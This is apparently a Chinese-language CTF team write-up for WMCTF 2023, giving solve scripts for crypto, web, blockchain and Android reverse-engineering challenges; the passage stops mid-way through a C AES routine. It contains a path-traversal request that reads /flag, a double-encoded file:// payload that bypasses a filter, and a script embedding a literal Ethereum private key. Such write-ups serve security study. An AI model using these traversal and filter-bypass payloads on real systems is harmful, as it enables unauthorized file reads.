本次 WMCTF 2023,我们Polaris战队排名第9。

排名 队伍 总分
1 天枢Dubhe 11948
2 LaoGong 10020
3 W4ntY0u 9468
4 L 8932
5 0RAYS 7444
6 Nepnep 7420
7 r4kapig 7314
8 Doub1e-S 7194
9 Polaris 6724
10 SU-Team 6554

Crypto

signin

  • 深度搜索+剪枝恢复p
import gmpy2
from Pwn4Sage.pwn import *
from Crypto.Util.number import *
from factordb.factordb import FactorDB
sys.setrecursionlimit(5000)

def findp(p, q):
    global PP
    if len(p) == 512:
        pp = int(p, 2)
        if N % pp == 0:
            PP = pp
            print(pp)
            print(N // pp)
            raise
    else:
        l = len(p)
        pp = int(p, 2)
        qq = int(q, 2)
        if (pp ^^ (qq >> 16)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):
            findp('1' + p, '1' + q)
            findp('1' + p, '0' + q)
            findp('0' + p, '1' + q)
            findp('0' + p, '0' + q)

while True:
    sh = remote('1.13.101.243', 26040)
    sh.recvuntil(b""".`^","^`'.""")
    sh.recvline()
    sh.recvline()
    N = int(sh.recvline())
    gift = int(sh.recvline())
    print(N)
    print(gift)

    PP = 0

    for q_low in range(2**16+1, 2 ** 17):
        try:
            findp('1', bin(q_low)[2:])
        except:
            break
    p = PP
    if p:
        print('find p: ', p)
        sh.sendline(str(p).encode())
        q = p
        A = eval(sh.recvline())
        b = eval(sh.recvline())
        print(A)
        print(b)

        LEN = len(b)
        M = matrix(LEN+2, LEN+2)
        INV = inverse_mod(2^16, q)
        AA = [(i*INV)%q for i in A]
        BB = [(i*INV)%q for i in b]

        for i in range(LEN):
            M[0, i+2] = AA[i]
            M[1, i+2] = BB[i]
            M[i+2, i+2] = q
        M[0, 0] = 1
        M[1, 1] = 2^511

        t = 16
        Q = diagonal_matrix([1,2^17]+[2^t for _ in range(LEN)])
        M_ = M*Q
        M_ = M_.LLL()
        M_ = M_/Q    
        for line in M_:
            if abs(line[1]) == 2^511:
                m = abs(line[0])
                results = [(bi * m) % q for bi in A]
                rs = [ri & (2 ** 16 - 1)  for ri in results]
                print(rs)
                print(m)
                if rs == b:
                    print('yes')
                    print('yes')
                    print('yes')
                    print(m)
                    sh.sendline(str(m).encode())
                    sh.interactive()  # wmctf{we1c0me_brOo0Oo!hope_y0u_h4v3_fun_iN_the_fTcmWWmcTf/}

welcomesigner2

  • 从后往前递推,利用每次$A_i \mod n$与 $A_i \mod n_$ 是否一致来逐位确定d

因为不知道d长度,所以需要猜。故脚本需要多次运行,才可能得解

import gmpy2
from pwn import *
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *

sh = remote("1.13.101.243", 27812)
sh.sendlineafter(b'[Q]uit', b'g')
n = int(sh.recvline_contains(b'n =').split(b'n = ')[-1])
enc = sh.recvline_contains(b'flag_ciphertext =').split(b'flag_ciphertext =')[-1]
print(enc)
enc = bytes.fromhex(enc.decode())


sh.sendlineafter(b'[Q]uit', b's')
sh.sendlineafter(b'Where your want to interfere:', b'1')
sig = int(sh.recvline().split(b'is ')[-1])


def find_prime_n_(n):
    for index in range(1024):
        for temp in range(256):
            assert 0<= int(temp) <=255
            assert 0<= int(index) <= 1023
            n_ = n ^ (int(temp)<<int(index))
            if gmpy2.is_prime(n_) and n_ > n:
                b_i = f"{temp},{index}"
                print('[+] find prime n_')
                print(b_i)
                return b_i

b_i = find_prime_n_(n)
sh.sendlineafter(b'[Q]uit', b'f')
sh.sendlineafter(b'bytes, and index:', b_i.encode())
n_ = int(sh.recvline().split(b'"')[1])

d = '1'
msg = bytes_to_long(b"Welcome_come_to_WMCTF")
BS = [msg]
d_len = 1022
for i in range(d_len-1):
    BS.append(BS[-1]**2 % n)

for index in range(2, d_len):
    sh.sendlineafter(b'[Q]uit', b's')
    sh.sendlineafter(b'Where your want to interfere:', str(index).encode())
    A = sig
    tmp_A = int(sh.recvline().split(b'is ')[-1])
    tmp_BS = [_ for _ in BS[:d_len-index]]
    for _ in range(index):
        tmp_BS.append(tmp_BS[-1]**2%n_)
    assert len(tmp_BS) == d_len

    for i in range(len(d)):
        if int(d[i]):
            tmp_A = (tmp_A * gmpy2.invert(tmp_BS[d_len-1-i], n_)) % n_
            A = (A * gmpy2.invert(BS[d_len-1 - i], n)) % n
    d += str(int(A != tmp_A))
    print('[+] d =', d)

d最低位为1

from hashlib import md5
from Crypto.Cipher import AES

def decrypt(enc,key):
    key = bytes.fromhex(md5(str(key).encode()).hexdigest())
    dec = AES.new(key,mode=AES.MODE_ECB)
    m   = dec.decrypt(enc)
    return m

enc = ' 11964df59bb0dcf71595524dc0808dd6774d105c36c6a7b7fb6086c60c98a7cc8b5d10f2b81e7ea07d622a4b38af800d'
enc = bytes.fromhex(enc)
d = '1111101010101101001100010011000101011110110111010000011100001001100011111000010001010111010000101110011111000111000001000100010111111011000111111011000010110101011100101011110111000111111100011110010011111100100100111011001110011011011010000100110000010111101010010101110001001000000011001100111111110100011001100010101011111001001000101000001010101011100100010000011000000011001100111100001010110110101010000011100001011010000110110101101001011011100001000000110100101111101001000010011010111111000011101001110111010110110001001011000101001000111101011101100010000101010100010011010101111111111100100110000111110100001000000010111011000001000010001111000100011110111101101010001010101010101001100000000110110100110110010101111010011011010111000111101001001100001111000011100110000000001100011010100101000100101110100110101001011100101001101011110000001111010101001100001011100000111101001000100110110011001101010001001100011101101001011011001101001010101001011001001111011001011010100111111110110011111001010101101000000'
print(decrypt(enc, int(d+'1', 2)))  # WMCTF{F4u1t_1nj3ct1on_1n_RS4*&iu2726457}

badprime

根据题目信息将M输入进去,输进去后可以获得p_leak

image-20230821092936189

p=p_leak+k*M
经过观察可以发现,k_bit非常小,可以通过一元copper进行攻击

# @File    : exp.py
M=
p_leak=
c=
n=
P.<k>=PolynomialRing(Zmod(n))
f=x+k*M
k=f.monic().small_roots(X=2**54,beta=0.4)[0]
p=k*M+p_leak
q=n//ZZ(p)
e=65537
d=inverse_mod(e,(p-1)*(q-1))
m=hex(pow(c,d,n))[2:]
print(bytes.fromhex(m))

welcome_signer1

中国剩余定理的运用

代码跑的很久,得跑几十分钟

from pwn import *
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from tqdm import *
def le(c,p):
    t=pow(c,(p-1)//2,p)
    if t==1:
        return True
    else:return False
def quadratic_residues(_c, _p):
    return pow(_c, (_p + 1) // 4, _p)
def find_prime_n_(n):
    for index in range(1024):
        for temp in range(256):
            assert 0<= int(temp) <=255
            assert 0<= int(index) <= 1023
            n_ = n ^ (int(temp)<<int(index))
            if gmpy2.is_prime(n_) and n_ > n and n_%4==3:
                b_i = f"{temp},{index}"
                print('[+] find prime n_')
                print(b_i)
                return b_i
def chinese_remainder(n, a):#前面是模
    sum = 0
    prod = reduce(lambda a, b: a * b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * gmpy2.invert(p, n_i) * p
    return int(sum % prod)
msg = bytes_to_long(b"Welcome_come_to_WMCTF")
def solve(A,A1,n,n1,d):
    for i in range(len(d)):
        if d[i]=='1':
            A1 = A1 * msgn1 % n1
        A1=quadratic_residues(A1,n1)
        if le(A1,n1)==False:A1=n-A1
    A1_=A1*msgn1%n1
    A_ = A * msgn % n
    A2=chinese_remainder([n,n1],[A_,A1_])
    for i in range(12):
        tmp=gmpy2.iroot(A2+i*n*n1,2)
        if tmp[1]==True:
            A=tmp[0]
            return A,d+'1'
    A2=chinese_remainder([n,n1],[A,A1])
    for i in range(12):
        tmp=gmpy2.iroot(A2+i*n*n1,2)
        if tmp[1]==True:
            A=tmp[0]
            return A,d+'0'
r=remote("1.13.101.243",25333)
r.recvuntil(b"|	[Q]uit\n")
r.sendline(b"g")
N=eval(r.recvline()[6:].strip().decode())
print(N.bit_length())
enc_flag=r.recvline()[20:].strip().decode()
b_=find_prime_n_(N)
r.recvuntil(b"|	[Q]uit\n")
r.sendline(b"s")
r.sendlineafter(b"Where your want to interfere:",b'0')
A=eval(r.recvline()[42:].strip().decode())
print("A获取完成")
r.recvuntil(b"|	[Q]uit\n")
r.sendline(b"f")
r.sendlineafter(b"bytes, and index:",b_.encode())
N_=eval(r.recvline()[21:].strip().decode()[:-1])
msgn1=inverse(msg, N_)
msgn=inverse(msg, N)
assert isPrime(N_)
print("前序工作完成")
d=''
for i in trange(0,1023):
    r.recvuntil(b"|	[Q]uit\n")
    r.sendline(b"s")
    index=i+1
    r.sendlineafter(b"Where your want to interfere:",str(index).encode())
    A1=eval(r.recvline()[42:].strip().decode())
    A,d=solve(A,A1,N,N_,d)
    if i>1000:
        print(d)
        print(enc_flag)
r.interactive()
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
import itertools
def decrypt(message,key):
    key = bytes.fromhex(md5(str(key).encode()).hexdigest())
    enc = AES.new(key,mode=AES.MODE_ECB)
    c   = enc.decrypt(message)
    return c
d=''
key=int(d[::-1],2)
m=bytes.fromhex("")
flag=decrypt(m,key)
print(flag)

Web

AnyFileRead

import requests
r = requests.get(url="http://43.132.224.5:8888/admin/.//%2e./%2e./flag")
print(r.text)

ez_java_agagin

进入页面

img

啥功能都没,扫也没扫出来什么

查看源码

img

两个url参数,第一个url只能读图片,第二个没有java后缀或者有flag这个字符均会被过滤

img

最后是使用伪协议直接读,二次编码绕过过滤

?url1=file:///fla%2567%23java

(file协议居然还能读目录)

BlockChain

babyblock

remix测试一下,发现要猜的数字很小,而且很容易就猜对,但是禁用了metamask

让gpt生成一个脚本直接打

from web3 import Web3

# 连接到以太坊节点的 RPC URL
rpc_url = "http://43.132.224.5:8545/"  # 替换为实际的 RPC URL
web3 = Web3(Web3.HTTPProvider(rpc_url))

# 合约地址和 ABI
contract_address = "0x62c35b7c06606928d6fF716C3D21C07D75617FA8"  # 替换为实际的合约地址
contract_abi ="""
[
    {
        "inputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "constant": false,
        "inputs": [
            {
                "internalType": "uint256",
                "name": "_num",
                "type": "uint256"
            }
        ],
        "name": "guessNumber",
        "outputs": [],
        "payable": false,
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "secretNumber",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    },
    {
        "constant": true,
        "inputs": [],
        "name": "solved",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "payable": false,
        "stateMutability": "view",
        "type": "function"
    }
]
"""

# 获取合约实例
contract = web3.eth.contract(address=contract_address, abi=contract_abi)

# 调用合约的 guessNumber 方法
num_to_guess = 6  # 替换为你想要猜测的数字
transaction = contract.functions.guessNumber(num_to_guess).buildTransaction({
    'nonce':1,
    'from': '0xceb32Ad69ed0C565FEac192DfcAAfCd67279360e',  # 替换为你自己的以太坊账户地址
    'gas': 200000,  # 替换为适当的 gas 数量
    'gasPrice': web3.toWei('1000000007', 'wei')  # 替换为适当的 gas 价格
})

# 签名交易
private_key = "7078eb49a5672f7b5b7826124292879477981fe6787001553aab40e00370fee4"  # 替换为你自己的以太坊账户私钥
signed_txn = web3.eth.account.signTransaction(transaction, private_key)

# 发送签名后的交易并获取交易哈希
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)

# 检查交易是否成功被确认
if tx_receipt['status'] == 1:
    print("Transaction successful!")
else:
    print("Transaction failed.")

RE

ezAndroid

安卓逆向

分别有两个naticve函数 为checkusername 和 checkpassword

两个native函数在JNIload中动态注册的 并且所有相关的字符串都是动态解密的 所以静态分析看不到有用的信息 同时在init函数组中有一个检测frida的操作

检测name是一个RC4加密

image-20230821095817238

而checkpassword函数的是一个AES加密 但是S盒在动态运行的时候发生了修改

image-20230821095950470

分析完毕后逆向即可

#name 
cin = [ 0x6E, 0x61, 0x6D, 0x65, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36]
out=[ 0xD5, 0x93, 0x56, 0xB2, 0x3C, 0x86, 0xEB, 0x94, 0xCD, 0x0C, ]
enc=[ 0xE9, 0x97, 0x64, 0xE6, 0x7E, 0xEB, 0xBD, 0xC1, 0xAB, 0x43]
for i,j,k in zip(cin,out,enc):
    print(chr(i^j^k),end='')
#Re_1s_eaSy

from Crypto.Cipher import AES
sbox=[
    0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 
    0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 
    0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 
    0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 
    0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 
    0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 
    0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 
    0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 
    0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 
    0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 
    0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 
    0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 
    0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 
    0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 
    0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 
    0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
    ]

key =b"Re_1s_eaSy123456"
for i in key:
    print(i,end=',')
print()
real = bytes.fromhex("2B C8 20 8B 5C 0D A7 9B 2A 51 3A D2 71 71 CA 50")
for i in real:
    print(i,end=',')
print()
def generate_inverse_s_box(s_box):
    inverse_s_box = [0] * 256
    for i in range(len(s_box)):
        inverse_s_box[s_box[i]] = i
    return inverse_s_box
iev = generate_inverse_s_box(sbox)
print(iev)
for i in iev:
    print(hex(i),end=',')
"_eZ_Rc4_@nd_AES!"

AES解密

#include<stdio.h>
#include<string.h> 
#include<time.h>
#include<windows.h> 

#define Nb 4   //数据块行数 
#define Nk 4   //密码块行数 
#define Nr 10  //轮加密次数 


unsigned char RoundKey[4*Nb*(Nr+1)]; //轮密钥 
unsigned char Key[17];     //密钥 
unsigned char state[4][4];  //明文加密状态 


//实际上只需要用Rocn[1-10] 
int Rcon[255] = {
    0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
    0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
    0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
    0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
    0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
    0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
    0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
    0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
    0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
    0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
    0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
    0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
    0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
    0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
    0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
    0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb
};


//s盒 
int SBOX[256] =   {
    //0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F
    0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 
    0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 
    0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 
    0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 
    0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 
    0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 
    0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 
    0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 
    0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 
    0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 
    0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 
    0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 
    0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 
    0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 
    0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 
    0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
    
};

//逆s盒 
int R_SBOX[256] ={ 
    0x41,0xe8,0x8f,0x36,0xdd,0x84,0x2b,0xd2,0x79,0x20,0xc7,0x6e,0x15,0xbc,0x63,0xa,0xb1,0x58,0xff,0xa6,0x4d,0xf4,0x9b,0x42,0xe9,0x90,0x37,0xde,0x85,0x2c,0xd3,0x7a,0x21,0xc8,0x6f,0x16,0xbd,0x64,0xb,0xb2,0x59,0x0,0xa7,0x4e,0xf5,0x9c,0x43,0xea,0x91,0x38,0xdf,0x86,0x2d,0xd4,0x7b,0x22,0xc9,0x70,0x17,0xbe,0x65,0xc,0xb3,0x5a,0x1,0xa8,0x4f,0xf6,0x9d,0x44,0xeb,0x92,0x39,0xe0,0x87,0x2e,0xd5,0x7c,0x23,0xca,0x71,0x18,0xbf,0x66,0xd,0xb4,0x5b,0x2,0xa9,0x50,0xf7,0x9e,0x45,0xec,0x93,0x3a,0xe1,0x88,0x2f,0xd6,0x7d,0x24,0xcb,0x72,0x19,0xc0,0x67,0xe,0xb5,0x5c,0x3,0xaa,0x51,0xf8,0x9f,0x46,0xed,0x94,0x3b,0xe2,0x89,0x30,0xd7,0x7e,0x25,0xcc,0x73,0x1a,0xc1,0x68,0xf,0xb6,0x5d,0x4,0xab,0x52,0xf9,0xa0,0x47,0xee,0x95,0x3c,0xe3,0x8a,0x31,0xd8,0x7f,0x26,0xcd,0x74,0x1b,0xc2,0x69,0x10,0xb7,0x5e,0x5,0xac,0x53,0xfa,0xa1,0x48,0xef,0x96,0x3d,0xe4,0x8b,0x32,0xd9,0x80,0x27,0xce,0x75,0x1c,0xc3,0x6a,0x11,0xb8,0x5f,0x6,0xad,0x54,0xfb,0xa2,0x49,0xf0,0x97,0x3e,0xe5,0x8c,0x33,0xda,0x81,0x28,0xcf,0x76,0x1d,0xc4,0x6b,0x12,0xb9,0x60,0x7,0xae,0x55,0xfc,0xa3,0x4a,0xf1,0x98,0x3f,0xe6,0x8d,0x34,0xdb,0x82,0x29,0xd0,0x77,0x1e,0xc5,0x6c,0x13,0xba,0x61,0x8,0xaf,0x56,0xfd,0xa4,0x4b,0xf2,0x99,0x40,0xe7,0x8e,0x35,0xdc,0x83,0x2a,0xd1,0x78,0x1f,0xc6,0x6d,0x14,0xbb,0x62,0x9,0xb0,0x57,0xfe,0xa5,0x4c,0xf3,0x9a
};

//在一行上进位移 
void rotWord(unsigned char temp[]) {
    int i,k=temp[0];
    for(i=1;i<4;i++)
        temp[i-1]=temp[i];
    temp[3]=k;
}

//在一行上进行s盒替换 
void subWord(unsigned char temp[]) {
    int i;
    for(i=0;i<4;i++)
        temp[i]=SBOX[temp[i]];
}

//密钥扩展,最终得到Nr+1个轮密钥,用于轮次加密 
void keyExpansion(){
    int i,j;
    unsigned char temp[5];
    memset(RoundKey,0,sizeof(RoundKey));

    for(i=0;i<Nk;i++){
        for(j=0;j<4;j++){
            RoundKey[i*4+j]=Key[i*4+j];
        }
    }
    
    while(i<(Nb*(Nr+1))){
        for(j=0;j<4;j++){
            temp[j]=RoundKey[(i-1)*4+j];
        }
        if(i%Nk==0){
            rotWord(temp);
            subWord(temp);
            temp[0]^=Rcon[i/Nk];
        }
        
        for(j=0;j<4;j++)
            RoundKey[i*4+j]=RoundKey[(i-Nk)*4+j]^temp[j];
        i++;
    }
}

//轮密钥加函数,将明文加密状态与轮密钥简单异或 
void addRoundKey(int round){
    int i,j;
    for(i=0;i<4;i++){
        for(j=0;j<4;j++){
            state[i][j]^=RoundKey[round*Nb*4+i*Nb+j];
        }
    }
}

//s盒替换函数 
void subBytes(){
    int i,j;
    for(i=0;i<4;i++){
        for(j=0;j<4;j++){
            state[i][j]=SBOX[state[i][j]];
        }
    }
}

//逆s盒替换函数 
void invSubBytes(){
    int i,j;
    for(i=0;i<4;i++){
        for(j=0;j<4;j++){
            state[i][j]=R_SBOX[state[i][j]];
        }
    }
}

//行位移函数 
void shiftRows(){
    int i,j,k;
    int shiftnum=1;
    unsigned char tmp;
    for(j=1;j<4;j++){
        for(i=0;i<shiftnum;i++){
            tmp=state[0][j];
            for(k=0;k<3;k++)
                state[k][j]=state[k+1][j];
            state[3][j]=tmp;
        }
        shiftnum++;
    }
}

//逆行位移函数 
void invShiftRows(){
    int i,j,k;
    int shiftnum=1;
    unsigned char tmp;
    for(j=1;j<4;j++){
        for(i=0;i<shiftnum;i++){
            tmp=state[3][j];
            for(k=3;k>0;k--)
                state[k][j]=state[k-1][j];
            state[0][j]=tmp;
        }
        shiftnum++;
    }
}

//列混淆函数 
#define xtime(x)   ((x<<1) ^ (((x>>7) & 1) * 0x1b))
void mixColumns(){
    int i,j;
    unsigned char tmp,t,p;
    for(i=0;i<4;i++){
        p=state[i][0];
        tmp=state[i][0]^state[i][1]^state[i][2]^state[i][3];
        for(j=0;j<3;j++){
            t=state[i][j]^state[i][j+1];
            t=xtime(t);
            state[i][j]^=t^tmp;
        }
        t=state[i][3]^p;t=xtime(t);state[i][3]^=t^tmp;
    }
}

//逆列混淆函数 
#define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))
void invMixColumns(){
    int i;
    unsigned char a,b,c,d;
    for( i=0; i<4; i++)
    {   
        a = state[i][0];
        b = state[i][1];
        c = state[i][2];
        d = state[i][3];

        state[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
        state[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
        state[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
        state[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
    }
}

//aes加密函数,key为密钥,input为需要加密的128位明文,output为输出128位密文 
void aes_enc(unsigned char*key,unsigned char *input,unsigned char*output){
    int i,j,round=0;
    memset(Key,0,sizeof(Key));
    for(i=0;i<Nk*4;i++){
        Key[i]=key[i];
    }

    keyExpansion();

    memset(state,0,sizeof(state));
    for(i=0;i<4;i++){
        for(j=0;j<4;j++)
            state[i][j]=input[i*4+j];
    }
    addRoundKey(0);
    for(round=1;round<Nr;round++){
        subBytes();
        shiftRows();
        mixColumns();
        addRoundKey(round);
    }
    
    subBytes();
    shiftRows();
    addRoundKey(Nr);
    
    for(i=0;i<4;i++){
        for(j=0;j<4;j++)
            output[i*4+j]=state[i][j];
    }
}

//aes解密函数,key为密钥,input为需要解密的128位密文,output为输出128位明文
void aes_dec(unsigned char*key,unsigned char*input,unsigned char*output){
    int i,j,round=0;
    memset(Key,0,sizeof(Key));
    for(i=0;i<Nk*4;i++){
        Key[i]=key[i];
    }
    
    keyExpansion();
    
    memset(state,0,sizeof(state));
    for(i=0;i<4;i++){
        for(j=0;j<4;j++)
            state[i][j]=input[i*4+j];
    }
    addRoundKey(Nr);
    for(round=Nr-1;round>0;round--){
        invSubBytes();
        invShiftRows();
        addRoundKey(round);
        invMixColumns();
    }
    
    invSubBytes();	
    invShiftRows();
    addRoundKey(0);
    
    for(i=0;i<4;i++){
        for(j=0;j<4;j++)
            output[i*4+j]=state[i][j];
    }
}

void gets_t(unsigned char*str){
    char fin_input;
